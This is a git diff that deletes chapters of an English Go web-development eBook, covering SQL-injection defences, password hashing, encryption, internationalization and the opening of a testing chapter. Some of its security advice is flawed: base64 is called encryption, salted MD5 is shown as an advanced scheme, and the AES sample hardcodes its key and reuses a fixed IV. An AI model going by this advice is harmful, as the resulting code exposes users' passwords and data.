shown, even supposedly normal queries can cause disasters. - -SQL injection attacks can be devastating -how can do we even begin to defend against them? The following suggestions are a good starting point for preventing SQL injection: - -1. Strictly limit permissions for database operations so that users only have the minimum set of permissions required to accomplish their work, thus minimizing the risk of database injection attacks. -2. Check that input data has the expected data format, and strictly limit the types of variables that can be submitted. This can involve regexp matching, or using the strconv package to convert strings into other basic types for sanitization and evaluation. -3. Transcode or escape from pairs of special characters ( '"\&*; etc. ) before persisting them into the database. Go's `text/template` package has a `HTMLEscapeString` function that can be used to return escaped HTML. -4. Use your database's parameterized query interface. Parameterized statements use parameters instead of concatenating user input variables in embedded SQL statements; in other words, they do not directly splice ​​SQL statements. For example, using the the `Prepare` function in Go's `database/sql` package, we can create prepared statements for later execution with `Query` or `Exec(query string, args... interface {})`. -5. Before releasing your application, thoroughly test it using professional tools for detecting SQL injection vulnerabilities and to repair them, if they exist. There are many online open source tools that do just this, such as sqlmap, SQLninja, to name a few. -6. Avoid printing out SQL error information on public webpages. Attackers can use these error messages to carry out SQL injection attacks. Examples of such errors are type errors, fields not matching errors, or any errors containing SQL statements. - -## Summary - -Through the above examples, we've learned that SQL injection is a very real and very dangerous web security vulnerability. When we write web application, we should pay attention to every little detail and treat security issues with the utmost care. Doing so will lead to better and more secure web applications, and can ultimately be the determing factor in whether or not your application succeeds. - -## Links - -- [Directory](preface.md) -- Previous section: [XSS attacks](09.3.md) -- Next section: [Password storage](09.5.md) diff --git a/en/eBook/09.5.md b/en/eBook/09.5.md deleted file mode 100644 index 1c206b8a..00000000 --- a/en/eBook/09.5.md +++ /dev/null @@ -1,98 +0,0 @@ -# 9.5 Password storage - -Over the years, many websites have suffered from breaches in user password data. Even top internet companies such as Linkedin and CSDN.net have been effected. The impact of these types of events has been felt across the entire internet, and cannot be underestimated. This is especially the case for today's internet users, who often adopt the habit of using the same password for many different websites. - -As web developers, we have many choices when it comes to implementing a password storage scheme. However, this freedom is often a double edged sword. So what are the common pitfalls and how can we avoid falling into them? - -## Common solutions - -Currently, the most frequently used password storage scheme is to one-way hash plaintext passwords before storing them. The most important characteristic of one-way hashing is that it is infeasible to recover the original data given the hashed data -hence the "one-way" in one-way hashing. Commonly used cryptographic, one-way hash algorithms include SHA-256, SHA-1, MD5 and so on. - -You can easily use the three aforementioned encryption algorithms in Go as follows: - - //import "crypto/sha256" - h := sha256.New() - io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") - fmt.Printf("% x", h.Sum(nil)) - - //import "crypto/sha1" - h := sha1.New() - io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") - fmt.Printf("% x", h.Sum(nil)) - - //import "crypto/md5" - h := md5.New() - io.WriteString(h, "需要加密的密码") - fmt.Printf("%x", h.Sum(nil)) - -There are two key features of one-way hashing: - -1) given a one-way hash of a password, the resulting summary is always uniquely determined. -2) calculation speed. As technology advances, it only takes a second to complete billions of one-way hash calculations. - -Given the combination of the above two characteristics, and taking into account the fact that the majority of people use some combination of common passwords, an attacker can compute a combination of all the common passwords. Even though the passwords you store in your database may be hash values only, if attackers gain access to this database, they can compare the stored hashes to their precomputed hashes to obtain the corresponding passwords. This type of attack relies on what is typically called a `rainbow table`. - -We can see that encrypting user data using one-way hashes may not be enough. Once a website's database gets leaked, the user's original password could potentially be revealed to the world. - -## Advanced solution - -Through the above description, we've seen that hackers can use `rainbow table`s to crack hashed passwords, largely because the hash algorithm used to encrypt them is public. If the hackers do not know what the encryption algorithm is, they wouldn't even know where to start. - -An immediate solution would be to design your own hash algorithm. However, good hash algorithms can be very difficult to design both in terms of avoiding collisions and making sure that your hashing process is not too obvious. These two points can be much more difficult to achieve than expected. For most of us, it's much more practical to use the existing, battle hardened hash algorithms that are already out there. - -But, just to repeat ourselves, one-way hashing is still not enough to stop more sophisticated hackers from reverse engineering user passwords. Especially in the case of open source hashing algorithms, we should never assume that a hacker does not have intimate knowledge of our hashing process. - -Of course, there are no impenetrable shields, but there are also no unbreakable spears. Nowadays, any website with decent security will use a technique called "salting" to store passwords securely. This practice involves concatenating a server-generated random string to a user supplied password, and using the resulting string as an input to a one-way hash function. The username can be included in the random string to ensure that each user has a unique encryption key. - - //import "crypto/md5" - // Assume the username abc, password 123456 - h := md5.New() - io.WriteString(h, "password need to be encrypted") - - pwmd5 :=fmt.Sprintf("%x", h.Sum(nil)) - - // Specify two salt: salt1 = @#$% salt2 = ^&*() - salt1 := "@#$%" - salt2 := "^&*()" - - // salt1 + username + salt2 + MD5 splicing - io.WriteString(h, salt1) - io.WriteString(h, "abc") - io.WriteString(h, salt2) - io.WriteString(h, pwmd5) - - last :=fmt.Sprintf("%x", h.Sum(nil)) - -In the case where our two salt strings have not been compromised, even if hackers do manage to get their hands on the encrypted password string, it will be almost impossible to figure out what the original password is. - -## Professional solution - -The advanced methods mentioned above may have been secure enough to thwart most hacking attempts a few years ago, since most attackers would not have had the computing resources to compute large `rainbow table`s. However, with the rise of parallel computing capabilities, these types of attacks are becoming more and more feasible. - - How do we securely store a password so that it cannot be deciphered by a third party, given real life limitations in time and memory resources? The solution is to calculate a hashed password to deliberately increase the amount of resources and time it would take to crack it. We want to design a hash such that nobody could possibly have the resources required to compute the required `rainbow table`. - -Very secure systems utilize hash algorithms that take into account the time and resources it would require to compute a given password digest. This allows us to create password digests that are computationally expensive to perform on a large scale. The greater the intensity of the calculation, the more difficult it will be for an attacker to pre-compute `rainbow table`s -so much so that it may even be infeasible to try. - -In Go, it's recommended that you use the `scrypt` package, which is based on the work of the famous hacker Colin Percival (of the FreeBSD backup service Tarsnap). - -The packge's source code can be found at the following link: http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt - -Here is an example code snippet which can be used to obtain a derived key for an AES-256 encryption: - - dk: = scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32) - -You can generate unique password values using the above method, which are by far the most difficult to crack. - -## Summary - -If you're worried about the security of your online life, you can take the following steps: - -1) As a regular internet user, we recommend using LastPass for password storage and generation; on different sites use different passwords. - -2) As a Go web developer, we strongly suggest that you use one of the professional, well tested methods above for storing user passwords. - -## Links - -- [Directory](preface.md) -- Previous section: [SQL injection](09.4.md) -- Next section: [Encrypt and decrypt data](09.6.md) diff --git a/en/eBook/09.6.md b/en/eBook/09.6.md deleted file mode 100644 index 37d81300..00000000 --- a/en/eBook/09.6.md +++ /dev/null @@ -1,125 +0,0 @@ -# 9.6 Encrypting and decrypting data - -The previous section describes how to securely store passwords, but sometimes it might be neccessary to modify some sensitive encrypted data that has already been stored into our database. When data decryption is required, we should use a symmetric encryption algorithm instead of the one-way hashing techniques we've previously covered. - -## Base64 Encryption and decryption - -If the web application is relatively simple, and the data security requirements are not so stringent, then you can use a relatively simple method of encryption and decryption using `base64`. This approach is relatively straightforward to implement, and Go's `base64` package has good support for this. Consider the following example: - - package main - - import ( - "encoding/base64" - "fmt" - ) - - func base64Encode(src []byte) []byte { - return []byte(base64.StdEncoding.EncodeToString(src)) - } - - func base64Decode(src []byte) ([]byte, error) { - return base64.StdEncoding.DecodeString(string(src)) - } - - func main() { - // encode - hello := "你好,世界! hello world" - debyte := base64Encode([]byte(hello)) - fmt.Println(debyte) - // decode - enbyte, err := base64Decode(debyte) - if err != nil { - fmt.Println(err.Error()) - } - - if hello != string(enbyte) { - fmt.Println("hello is not equal to enbyte") - } - - fmt.Println(string(enbyte)) - } - - -## Advanced encryption and decryption - -The Go language supports symmetric encryption algorithms in its `crypto` package. Two advanced encryption modules are: - -- `crypto/aes` package: AES (Advanced Encryption Standard), also known as Rijndael encryption method, is used by the U.S. federal government as a block encryption standard. -- `crypto/des` package: DES (Data Encryption Standard), is a symmetric encryption standard . It's currently the most widely used key system, especially in protecting the security of financial data. It used to be the United States federal government's encryption standard, but has now been replaced by AES. - -Because using these two encryption algorithms is quite similar, we'll just use the `aes` package in the following example to demonstrate how you'd typically use these packages: - - package main - - import ( - "crypto/aes" - "crypto/cipher" - "fmt" - "os" - ) - - var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f} - - func main() { - // Need to encrypt a string - plaintext := []byte("My name is Astaxie") - // If there is an incoming string of words to be encrypted, set plaintext to that incoming string - if len(os.Args) > 1 { - plaintext = []byte(os.Args[1]) - } - - // aes encryption string - key_text := "astaxie12798akljzmknm.ahkjkljl;k" - if len(os.Args) > 2 { - key_text = os.Args[2] - } - - fmt.Println(len(key_text)) - - // Create the aes encryption algorithm - c, err := aes.NewCipher([]byte(key_text)) - if err != nil { - fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err) - os.Exit(-1) - } - - // Encrypted string - cfb := cipher.NewCFBEncrypter(c, commonIV) - ciphertext := make([]byte, len(plaintext)) - cfb.XORKeyStream(ciphertext, plaintext) - fmt.Printf("%s=>%x\n", plaintext, ciphertext) - - // Decrypt strings - cfbdec := cipher.NewCFBDecrypter(c, commonIV) - plaintextCopy := make([]byte, len(plaintext)) - cfbdec.XORKeyStream(plaintextCopy, ciphertext) - fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy) - } - -Calling the above function `aes.NewCipher` (whose []byte key parameter must be 16, 24 or 32, corresponding to the AES-128, AES-192 or AES-256 algorithms, respectively), returns a `cipher.Block` Interface that implements three functions: - - type Block interface { - // BlockSize returns the cipher's block size. - BlockSize() int - - // Encrypt encrypts the first block in src into dst. - // Dst and src may point at the same memory. - Encrypt(dst, src []byte) - - // Decrypt decrypts the first block in src into dst. - // Dst and src may point at the same memory. - Decrypt(dst, src []byte) - } - -These three functions implement encryption and decryption operations; see the Go documentation for a more detailed explanation. - -## Summary - -This section describes several encryption algorithms which can be used in different ways according to your web application's encryption and decryption needs. For the most basic applications, base64 encoding may suffice. For applications with more stringent security requirements, it's recommended to use the more advanced AES or DES algorithm . - - -## Links - -- [Directory]() -- Previous: [store passwords](<09.5.md>) -- Next: [Summary](<09.7.md>) diff --git a/en/eBook/09.7.md b/en/eBook/09.7.md deleted file mode 100644 index 7a799818..00000000 --- a/en/eBook/09.7.md +++ /dev/null @@ -1,10 +0,0 @@ -# 9.7 Summary - -In this chapter, we've described CSRF, XSS and SQL injection based attacks. Most web applications are vulnerable to these types of attacks due to a lack of adequate input filtering on the part of the application. So, in addition to introducing the principles behind these attacks, we've also introduced a few techniques for effectively filtering user data and preventing these attacks from ever taking place. We then talked about a few methods for securely storing user passwords, first introducing basic one-way hashing for web applications with loose security requirements, then password salting and encryption algorithms for more serious applications. Finally, we briefly discussed two-way hashing and the encryption and decryption of sensitive data. We learned that the Go language provides packages for three symmetric encryption algorithms: base64, AES and DES. -The purpose of this chapter is to help readers become more conscious of the security issues that exist in modern day web applications. Hopefully, it can help developers to plan and design their web applications a little more carefully, so they can write systems that are able to prevent hackers from exploiting user data. The Go language has a large and well designed anti-attack toolkit, and every Go developer should take full advantage of these packages to better secure their web applications. - -## Links - -- [Directory](preface.md) -- Previous section: [Encrypt and decrypt data](09.6.md) -- Next chapter: [Internationalization and localization](10.0.md) diff --git a/en/eBook/10.0.md b/en/eBook/10.0.md deleted file mode 100644 index 366edb84..00000000 --- a/en/eBook/10.0.md +++ /dev/null @@ -1,24 +0,0 @@ -# 10 Internationalization and localization - -In order to adapt to the increasing globalization of the internet, as developers, we may sometimes need to build multilingual, international web applications. -This means that same pages will appear in different languages according to user regions, and perhaps the UI and UX will also be adapted to show different effects based on local holidays or culture. For example at runtime, the application will be able to recognize and process requests coming from different geographical regions and render pages in the local dialect or display different user interface. As competent developers, we don't want to have to manually modify our application's source code to cater to every possible region out there. When an application needs to add support for a new language, we should be bale to simply drop in the appropriate language pack and be done with it. - -In this section, we'll be talking about internationalization and localization (usually expressed as i18n and L10N, respectively). Internationalization is the process of designing applications that are flexible enough to be served to multiple regions around the world. In some ways, we can think of internationalization as something that helps to facilitate localization, which is the adaptation of a web application's content and design to suit the language or cultural needs of specific locales. - -Currently, Go's standard package does not provide i18n support, but there are some useful and relatively simple third-party implementations available. In this chapter, we'll be using the open-source "go-i18n" library to support internationalization in our examples. - -When we talk about making our web applications "international", we mean that each web page should be constructed with locale specific information and assembled with the corresponding local strings, time and currency formats, etc. This involves three things: - -1. how to determine the user's locale. - -2. how to save strings or other information associated with the locale. - -3. how to embed strings and other information according to the user's locale. - -In the first section, we'll describe how to detect and set the correct locale in order to allow website users access to their language specific pages. The second section describes how to handle or store strings, currencies, times, dates and other locale related information. Finally, the third section will describe how to internationalize your web application; more specifically, we'll discuss how to return different pages with locale appropriate content. Through these three sections, we'll be able to support full i18n in our web applications. - -## Links - -- [Directory](preface.md) -- Previous Chapter: [Chapter 9 Summary](09.7.md) -- Next section: [Time zone](10.1.md) diff --git a/en/eBook/10.1.md b/en/eBook/10.1.md deleted file mode 100644 index f1704799..00000000 --- a/en/eBook/10.1.md +++ /dev/null @@ -1,93 +0,0 @@ -# 10.1 Time zones - -## Finding out the locale - -A locale is a set of descriptors for a particular geographical region, and can include specific language habits, text formatting, cultural idioms and a multitude of other settings. A locale's name is usually composed of three parts. First (and mandatory) is the locale's language abbreviation, such as "en" for English or "zh" for Chinese. The second part is an optional country specifier, and follows the first with an underscore. This specifier allows web applications to distinguish between different countries which speak the same language, such as "en_US" for U.S. English, and "en_UK" for British English. The last part is another optional specifier, and is added to the locale with a period. It specifies which character set to use, for instance "zh_CN.gb2312" specifies the gb2312 character set for Chinese. - -Go defaults to the "UTF-8" encoding set, so i18n in Go applications do not need to consider the last parameter. Thus, in our examples, we'll only use the first two parts of locale descriptions as our standard i18n locale names. - -> On Linux and Solaris systems, you can use the `locale -a` command to get a list of all supported regional names. You can use this list as examples of some common locales. For BSD and other systems, there is no locale command, but the regional information is stored in `/usr/share/locale`. - -## Setting the locale - -Now that we've defined what a locale is, we need to be able to set it according to visiting users' information (either from their personal settings, the visited domain name, etc.). Here are some methods we can use to set the user's locale: - -### From the domain name - -We can set a user's locale via the domain name itself when the application uses different domains for different regions. For example, we can use www.asta.com as our default English website, and the domain name www.asta.cn as its Chinese counterpart. By setting up separate domains for separate regions, you can detect and serve the requested locale. This type of setup has several advantages: - -- Identifying the locale via URL is distinctive and unambiguous -- Users intuitively know which domain names to visit for their specific region or language -- Implementing this scheme in a Go application very simple and convenient, and can be achieved through a map -- Conducive to search engine crawlers which can improve the site's SEO - -We can use the following code to implement a corresponding domain name locale: - - if r.Host == "www.asta.com" { - i18n.SetLocale("en") - } else if r.Host == "www.asta.cn" { - i18n.SetLocale("zh-CN") - } else if r.Host == "www.asta.tw" { - i18n.SetLocale("zh-TW") - } - -Alternatively, we could have also set locales through the use of sub-domain such as "en.asta.com" for English sites and "cn.asta.com" for Chinese site. This scheme can be realized in code as follows: - - prefix:= strings.Split(r.Host,".") - - if prefix[0] == "en" { - i18n.SetLocale("en") - } else if prefix[0] == "cn" { - i18n.SetLocale("zh-CN") - } else if prefix[0] == "tw" { - i18n.SetLocale("zh-TW") - } - -Setting locales from the domain name as we've done above has its advantages, however l10n is generally not implemented in this way. First of all, the cost of domain names (although usually quite affordable individually) can quickly add up given that each locale will need its own domain name, and often the name of the domain will not necessarily fit in with the local context. Secondly, we don't want to have to individually configure each website for each locale. Rather, we should be able to do this programmatically, for instance by using URL parameters. Let's have a look at the following description. - -### From URL parameters - -The most common way of implementing l10n is to set the desired locale directly in the URL parameters, such `www.asta.com/hello?locale=zh` or `www.asta.com/zh/hello`. This way, we can set the region like so: `i18n.SetLocale(params["locale"])`. - -This setup has almost all the advantages of prepending the locale in front of the domain and it's RESTful, so we don't need to add additional methods to implement it. The downside to this approach is that it requires a corresponding locale parameter inside each link, which can be quite cumbersome and may increase complexity. However, we can write a generic function that produces these locale-specific URLs so that all links are generated through it. This function should automatically add a locale parameter to each link so when users click them, we are able to parse their requests with ease: `locale = params [" locale "]`. - -Perhaps we want our URLs to look even more RESTful. For example, we could map each of our resources under a specific locale like `www.asta.com/en/books` for our English site and `www.asta.com/zh/books` for the Chinese one. This approach is not only more conducive to URL SEO, but is also more friendly for users. Anybody visiting the site should be able to access locale-specific website resources directly from the URL. Such URL addresses can then be passed through the application router in order to obtain the proper locale (refer to the REST section, which describes the router plug-in implementation): - - mux.Get("/:locale/books", listbook) - -### From the client settings area - -In some special cases, we require explicit client information in order to set the locale rather than obtaining it from the URL or URL parameters. This information may come directly from the client's browser settings, the user's IP address, or the location settings filled out by the user at the time of registration. This approach is more suitable for web-based applications. - -- Accept-Language - -When a client requests information using an HTTP header set with the `Accept-Language` field, we can use the following Go code to parse the header and set the appropriate region code: - - AL := r.Header.Get("Accept-Language") - if AL == "en" { - i18n.SetLocale("en") - } else if AL == "zh-CN" { - i18n.SetLocale("zh-CN") - } else if AL == "zh-TW" { - i18n.SetLocale("zh-TW") - } - -Of course, in real world applications, we may require more rigorous processes and rules for setting user regions - -- IP Address - -Another way of setting a client's region is to look at the user's IP address. We can use the popular [GeoIP GeoLite Country or City libraries](http://dev.maxmind.com/geoip/legacy/geolite/) to help us relate user IP addresses to their corresponding regional areas. Implementing this mechanism is very simple: we only need to look up the user's IP address inside our database and then return locale-specific content according to which region was returned. - -- User profile - -You can also let users provide you with their locale information through an input element such as a drop-down menu (or something similar). When we receive this information, we can save it to the account associated with the user's profile. When the user logs in again, we will be able to check and set their locale settings -this guarantees that every time the user accesses the website, the returned content will be based on their previously set locale. - -## Summary - -In this section, we've demonstrated a variety of ways with which user specific locales can be detected and set. These methods included setting the user locale via domain name, subdomain name, URL parameters and directly from client settings. By catering to the specific needs of specific regions, we can provide a comfortable, familiar and intuitive environment for users to access the services that we provide. - -## Links - -- [Directory](preface.md) -- Previous one: [Internationalization and localization](10.0.md) -- Next section: [Localized resources](10.2.md) diff --git a/en/eBook/10.2.md b/en/eBook/10.2.md deleted file mode 100644 index c0a9349b..00000000 --- a/en/eBook/10.2.md +++ /dev/null @@ -1,140 +0,0 @@ -# 10.2 Localized Resources - -The previous section described how to set locales. After the locale has been set, we then need to address the problem of storing the information corresponding to specific locales. This information can include: textual content, time and date, currency values ​​, pictures, specific files and other view resources. In Go, all of this contextual information is stored in JSON format on our backend, to be called upon and injected into our views when users from specific regions visit our website. For example, English and Chinese content would be stored in en.json and zh-CN.json files, respectively. - -## Localized textual content - -Plain text is the most common way of representing information in web applications, and the bulk of your localized content will likely take this form. The goal is to provide textual content that is both idiomatic to regional expressions and feels natural for foreign users of your site. One solution is to create a nested map of locales, native language strings and their local counterparts. When clients request pages with some textual content, we first check their desired locale, then retrieve the corresponding strings from the appropriate map. The following snippet is a simple example of this process: - - package main - - import "fmt" - - var locales map[string]map[string]string - - func main() { - locales = make(map[string]map[string]string, 2) - en := make(map[string]string, 10) - en["pea"] = "pea" - en["bean"] = "bean" - locales["en"] = en - cn := make(map[string]string, 10) - cn["pea"] = "豌豆" - cn["bean"] = "毛豆" - locales["zh-CN"] = cn - lang := "zh-CN" - fmt.Println(msg(lang, "pea")) - fmt.Println(msg(lang, "bean")) - } - - func msg(locale, key string) string { - if v, ok := locales[locale]; ok { - if v2, ok := v[key]; ok { - return v2 - } - } - return "" - } - -The above example sets up maps of translated strings for different locales (in this case, the Chinese and English locales). We map our `cn` translations to the same English language keys so that we can reconstruct our English text message in Chinese. If we wanted to switch our text to any other locale we may have implemented, it'd be a simple matter of setting one `lang` variable. - -Simple key-value substitutions can sometimes be inadequate for our needs. For example, if we had a phrase such as "I am 30 years old" where 30 is a variable, how would we localize it? In cases like these, we can combine use the `fmt.Printf` function to achieve the desired result: - - en["how old"] = "I am %d years old" - cn["how old"] = "我今年%d岁了" - - fmt.Printf(msg(lang, "how old"), 30) - -The example code above is only for the purpose of demonstration; actual locale data is typically stored in JSON format in our database, allowing us to execute a simple `json.Unmarshal` to populate map locales with our string translations. - -## Localized date and time - -Because of our time zone conventions, the time in one region of the world can be different than the time in another region. Similarly, the way in which time is represented can also vary from locale to locale. For example, a Chinese environment may read `2012年10月24日 星期三 23时11分13秒 CST`, while in English, it might be: `Wed Oct 24 23:11:13 CST 2012`. Not only are there variations in language, but there are differences in formatting also. So, when it comes to localizing dates and times, we need to address the following two points: - -1. time zones -2. formatting issues - -The `$GOROOT/lib/time/package/timeinfo.zip` directory contains locales corresponding to time zone definitions. In order to obtain the time corresponding to a user's current locale, we should first use `time.LoadLocation(name string)` to get a Location object corresponding to our locale, passing in a string representing the locale such as `Asia/Shanghai` or `America/Chicago`. We can then use this Location object in conjunction with a Time object (obtained by calling `time.Now`) to get the final time using the Time object's `In` method. A detailed look at this process can be seen below (this example uses some of the variables from the example above): - - en["time_zone"] = "America/Chicago" - cn["time_zone"] = "Asia/Shanghai" - - loc, _ := time.LoadLocation(msg(lang, "time_zone")) - t := time.Now() - t = t.In(loc) - fmt.Println(t.Format(time.RFC3339)) - -We can handle text formatting in a similar way to solve our time formatting problem: - - en["date_format"]="%Y-%m-%d %H:%M:%S" - cn["date_format"]="%Y年%m月%d日 %H时%M分%S秒" - - fmt.Println(date(msg(lang,"date_format"),t)) - - func date(fomat string, t time.Time) string{ - year, month, day = t.Date() - hour, min, sec = t.Clock() - //Parsing the corresponding %Y%m%d%H%M%S and then returning the information - //%Y replaced by 2012 - //%m replaced by 10 - //%d replaced by 24 - } - -## Localized currency value - -Obviously, currency differs from region to region also. We can treat it the same way we treated our dates: - - en["money"] ="USD %d" - cn["money"] ="¥%d元" - - fmt.Println(date(msg(lang,"date_format"),100)) - - func money_format(fomat string, money int64) string{ - return fmt.Sprintf(fomat, money) - } - - -## Localization of views and resources - -We can serve customized views with different images, css, js and other static resources depending on the current locale. One way to accomplish this is by organizing these files into their respective locales. Here's an example: - - views - |--en //English Templates - |--images //store picture information - |--js //JS files - |--css //CSS files - index.tpl //User Home - login.tpl //Log Home - |--zh-CN //Chinese Templates - |--images - |--js - |--css - index.tpl - login.tpl - -With this directory structure, we can render locale-specific views like so: - - s1, _ := template.ParseFiles("views" + lang + "index.tpl") - VV.Lang = lang - s1.Execute(os.Stdout, VV) - -The resources referenced in the `index.tpl` file can be dealt with as follows: - - // js file - - // css file - - // Picture files - - -With dynamic views and the way we've localized our resources, we will be able to add more locales without much effort. - -## Summary - -This section described how to use and store local resources. We learned that we can use conversion functions and string interpolation for this, and saw that maps can be an effective way of storing locale-specific data. For the latter, we could simply extract the corresponding locale information when needed -if it was textual content we desired, our mapped translations and idioms could be piped directly to the output. If it was something more sophisticated like time or currency, we simply used the `fmt.Printf` function to format it before-hand. Localizing our views and resources was the easiest case, and simply involved organizing our files into their respective locales, then referencing them from their locale relative paths. - -## Links - -- [Directory](preface.md) -- Previous section: [Time zone](10.1.md) -- Next section: [[International sites](10.3.md) diff --git a/en/eBook/10.3.md b/en/eBook/10.3.md deleted file mode 100644 index 6d1ef4cb..00000000 --- a/en/eBook/10.3.md +++ /dev/null @@ -1,184 +0,0 @@ -# 10.3 International sites - -The previous section explained how to deal with localized resources, namely by using locale configuration files. So what can we do if we need to deal with *multiple* localized resources like text translations, times and dates, numbers, etc? This section will address these issues one by one. - -## Managing multiple locale packages - -In the development of an application, often the first thing you need to do is to decide whether or not you want to support more than one language. If you do decide to support multiple languages, you'll need to develop an organizational structure to facilitate the process of adding more languages in the future. One way we can do this is to put all our related locale files together in a `config/locales` directory, or something of the like. Let's suppose you want to support both Chinese and English. In this case, you'd be placing both the en.json and zh.json locale files into the aforementioned folder. Their contents would probably look something like the following: - - # zh.json - - { - "zh": { - "submit": "提交", - "create": "创建" - } - } - - #en.json - - { - "en": { - "submit": "Submit", - "create": "Create" - } - } - -We decided to use some 3rd party Go packages to help us internationalize our web applications. In the case of [go-i18n](https://github.com/astaxie/go-i18n) ( ***A more advanced i18n package can be found [here](https://github.com/beego/i18n)*** ), we first have to register our `config/locales` directory to load all of our locale files: - - Tr := i18n.NewLocale() - Tr.LoadPath("config/locales") - -This package is simple to use. We can test that it works like so: - - fmt.Println(Tr.Translate("submit")) - //Output "submit" - Tr.SetLocale("zn") - fmt.Println(Tr.Translate("submit")) - //Outputs "递交" - -## Automatically load local package - -We've just described how to automatically load custom language packs. In fact, the `go-i18n` library comes pre-loaded with a bunch of default formatting information such as time and currency formats. These default configurations can be overridden and customized by users to suit their needs. Consider the following process: - - //Load the default configuration files, which are placed below in `go-i18n/locales` - - //File should be named zh.json, en-json, en-US.json etc., so we can be continuously support more languages - - func (il *IL) loadDefaultTranslations(dirPath string) error { - dir, err := os.Open(dirPath) - if err != nil { - return err - } - defer dir.Close() - - names, err := dir.Readdirnames(-1) - if err != nil { - return err - } - - for _, name := range names { - fullPath := path.Join(dirPath, name) - - fi, err := os.Stat(fullPath) - if err != nil { - return err - } - - if fi.IsDir() { - if err := il.loadTranslations(fullPath); err != nil { - return err - } - } else if locale := il.matchingLocaleFromFileName(name); locale != "" { - file, err := os.Open(fullPath) - if err != nil { - return err - } - defer file.Close() - - if err := il.loadTranslation(file, locale); err != nil { - return err - } - } - } - - return nil - } - -Using the above code to load all of our default translations, we can then use the following code to select and use a locale: - - fmt.Println(Tr.Time(time.Now())) - //Output: 2009年1月08日 星期四 20:37:58 CST - - fmt.Println(Tr.Time(time.Now(),"long")) - //Output: 2009年1月08日 - - fmt.Println(Tr.Money(11.11)) - //Output: ¥11.11 - -## Template mapfunc - -Above, we've presented one way of managing and integrating a number of language packs. Some of the functions we've implemented are based on the logical layer, for example: "Tr.Translate", "Tr.Time", "Tr.Money" and so on. In the logical layer, we can use these functions (after supplying the required parameters) for applying your translations, outputting the results directly to the template layer at render time. What can we do if we want to use these functions *directly* in the template layer? In case you've forgotten, earlier in the book we mentioned that Go templates support custom template functions. The following code shows how easy mapfunc is to implement: - -1 text information - -A simple text conversion function implementing a mapfunc can be seen below. It uses `Tr.Translate` to perform the appropriate translations: - - func I18nT(args ...interface{}) string { - ok := false - var s string - if len(args) == 1 { - s, ok = args[0].(string) - } - if !ok { - s = fmt.Sprint(args...) - } - return Tr.Translate(s) - } - -We register the function like so: - - t.Funcs(template.FuncMap{"T": I18nT}) - -Then use it from your template: - - {{.V.Submit | T}} - - -2. The date and time - -Dates and times call the `Tr.Time` function to perform their translations. The mapfunc is implemented as follows: - - func I18nTimeDate(args ...interface{}) string { - ok := false - var s string - if len(args) == 1 { - s, ok = args[0].(string) - } - if !ok { - s = fmt.Sprint(args...) - } - return Tr.Time(s) - } - -Register the function like so: - - t.Funcs(template.FuncMap{"TD": I18nTimeDate}) - -Then use it from your template: - - {{.V.Now | TD}} - -3 Currency Information - -Currencies use the `Tr.Money` function to convert money. The mapFunc is implemented as follows: - - func I18nMoney(args ...interface{}) string { - ok := false - var s string - if len(args) == 1 { - s, ok = args[0].(string) - } - if !ok { - s = fmt.Sprint(args...) - } - return Tr.Money(s) - } - -Register the function like so: - - t.Funcs(template.FuncMap{"M": I18nMoney}) - -Then use it from your template: - - {{.V.Money | M}} - -## Summary - -In this section we learned how to implement multiple language packs in our web applications. We saw that through custom language packs, we can not only easily internationalize our applications, but facilitate the addition of other languages also (through the use of a configuration file). By default, the go-i18n package will provide some common configurations for time, currency, etc., which can be very convenient to use. We learned that these functions can also be used directly from our templates using mapping functions; each translated string can be piped directly to our templates. This enables our web applications to accommodate multiple languages with minimal effort. - -## Links - -- [Directory](preface.md) -- Previous section: [Localized resources](10.2.md) -- Next section: [Summary](10.4.md) diff --git a/en/eBook/10.4.md b/en/eBook/10.4.md deleted file mode 100644 index 072ac749..00000000 --- a/en/eBook/10.4.md +++ /dev/null @@ -1,9 +0,0 @@ -# 10.4 Summary - -Through this introductory chapter on i18n, you should now be familiar with some of the steps and processes that are necessary for internationalizing and localizing your websites. I've also introduced an open source solution for i18n in Go: [go-i18n](https://github.com/astaxie/go-i18n). Using this open source library, we can easily implement multi-language versions of our web applications. This allows our applications to be flexible and responsive to local audiences all around the world. If you find an error in this open source library or any missing features, please open an issue or a pull request! Let's strive to make it one of Go's standard libraries! - -## Links - -- [Directory](preface.md) -- Previous section: [International sites](10.3.md) -- Next chapter: [Error handling, debugging and testing](11.0.md) diff --git a/en/eBook/11.0.md b/en/eBook/11.0.md deleted file mode 100644 index 0d0cb8c3..00000000 --- a/en/eBook/11.0.md +++ /dev/null @@ -1,17 +0,0 @@ -# 11 Error Handling, Debugging, and Testing - -We often see the majority of a programmer's "programming" time spent on checking for bugs and working on bug fixes. Whether you are refactoring code or re-configuring systems, much of your time will undoubtedly be spent troubleshooting and testing. From the outside, people may think that all we do as programmers is design our systems and then write our code. They might think that we have the ideal job! We do work that is very engaging, and implement systems that have never been done before. While this last part may be true, what they don't know is that we spend the majority of our time cycling between troubleshooting, debugging and testing our code! Of course, if you have good programming habits and the technological solutions to help you take on these tasks, then you can minimize the time spent doing these things, enabling you to focus instead on more valuable things like the application logic. - -Unfortunately, many programmers are not thorough in fulfilling their error handling, debugging and testing responsibilities beforehand. Inexperienced programmers will often only make an effort to find errors and flaws after they have occurred, spending hours locating and fixing problems after the application is already online. It's good practice (and probably common sense) that we should design our applications with proper error handling, test cases, etc., from the get go. This will make your job, and the jobs of all the other developers who may be working on your application someday, much easier when they inevitably need to modify the code or upgrade the system. - -In the process of developing web applications, you will inevitably encounter unforeseen errors. What's the most efficient way of finding the causes of these errors and solving them? Section 11.1 describes how to handle errors in the Go language as well as how to design your own error handling package and functions. Section 11.2 describes how to use GDB to debug programs under dynamic operating conditions, depending on a variety of variable information. We then discuss application monitoring and debugging operations. - -Section 11.3 will explain unit testing in Go and feature some in-depth discussions and examples on how to write unit tests, as well as defining Go's unit testing rules. We'll see how following these rules will ensure that when upgrading or modifying your application, the test code will be able to run smoothly. - -Many programmers avoid spending time to learn and cultivate good debugging and testing habits. This chapter takes on these issues head-on so you won't have to run away from these tasks any longer. Since you're just learning how to build web applications in Go, let's use 